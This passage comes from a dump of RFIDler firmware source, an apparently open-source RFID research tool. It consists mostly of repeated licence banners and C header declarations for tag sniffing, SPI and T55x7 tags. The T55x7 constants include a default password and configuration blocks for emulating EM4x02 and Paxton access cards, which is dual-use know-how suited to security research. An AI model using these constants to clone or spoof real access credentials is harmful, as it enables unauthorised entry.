proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\nBOOL sdcard_test(BOOL quiet);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/select.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\nBOOL select_tag(BYTE *response);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/sniff.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\nvoid sniff_pwm(unsigned int mingap, unsigned minpulse, unsigned int mesg_gap, BOOL nfcmode);\nvoid do_sniff_pwm(unsigned int mingap, unsigned minpulse, unsigned int mesg_gap, BOOL nfcmode);\nvoid decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);\nBYTE generic_decode_pwm(BYTE *result, unsigned int pulses[], unsigned int minpulse, unsigned int maxpulse, unsigned int gaps[], unsigned int mingap, unsigned int maxgap, unsigned int count);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/spi.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\n#define SPI_NULL                  0x00\n\nvoid initSpiTransfer(BYTE txByte, BYTE *rxByte);\nvoid initSpiTransfer16(unsigned int txWord, unsigned int *rxWord);\nBYTE sendSpiCommand(BYTE command, BYTE error_ok, unsigned int arglen, BYTE *arg, unsigned int retlen, BYTE *retdata);\nunsigned int sendSpiCommand16(unsigned int command, BYTE error_ok, unsigned int arglen, unsigned int *arg, unsigned int retlen, unsigned int *retdata);\nvoid pauseSpi(void);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/t55x7.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\n#define T55X7_SOFT_RESET           \"00\"        // reset (test mode)\n#define T55X7_DIRECT_ACCESS        \"10\"        // direct read in pwd or non-pwd mode\n#define T55X7_STD_WRITE_P0         \"10\"        // write page 0\n#define T55X7_STD_WRITE_P1         \"11\"        // write page 1\n#define T55X7_GET_TRACE_DATA       \"11\"        // get 64 bits tracebility data\n#define T55X7_AOR                  \"10\"        // Answer On Request (wakeup)\n#define T55X7_READ_CONFIG_BLOCK    \"100000\"    // direct read, no PWD, address 000\n\n#define T55X7_START_GAP            48          // start gap in FC - range 10 - 50, must be greater than command gap\n#define T55X7_POR_DELAY            8190        // FCs additional startup delay if POR set\n#define T55X7_WRITE_DELAY          1000        // time needed to complete write operation in FC - 64 + 648 in the docs, so round up a bit\n\n#define T55X7_BLOCKSIZE            32          // blocksize in bits\n#define T55X7_DATABLOCKS           8           // total number of blocks\n#define T55X7_CONFIG_BLOCK_NUM     0           // config block number\n#define T55X7_USER_DATA_BLOCK_NUM  1           // 1st user data block\n#define T55X7_PW_BLOCK_NUM         7           // password block number\n#define T55X7_BLANK_BLOCK          \"00000000\"\n\n#define T55X7_DEFAULT_PWD          \"00000000\"  // default password\n\n// config blocks\n#define T55X7_DEFAULT_CONFIG_BLOCK      \"000880E8\"      // compat mode, data rate 32, manchester, ST, 7 data blocks\n#define T55X7_RAW_CONFIG_BLOCK          \"000880E0\"      // compat mode, data rate 32, manchester, 7 data blocks\n#define T55X7_EM_UNIQUE_CONFIG_BLOCK    \"00148040\"      // emulate em4x02/unique - compat mode, manchester, data rate 64, 2 data blocks\n#define T55X7_EM_PAXTON_CONFIG_BLOCK    \"00148040\"      // emulate em4x02/paxton - compat mode, manchester, data rate 64, 2 data blocks\n// FDXB requires data inversion and BiPhase 57 is simply BipHase 50 inverted, so we can either do it using the modulation scheme or the inversion 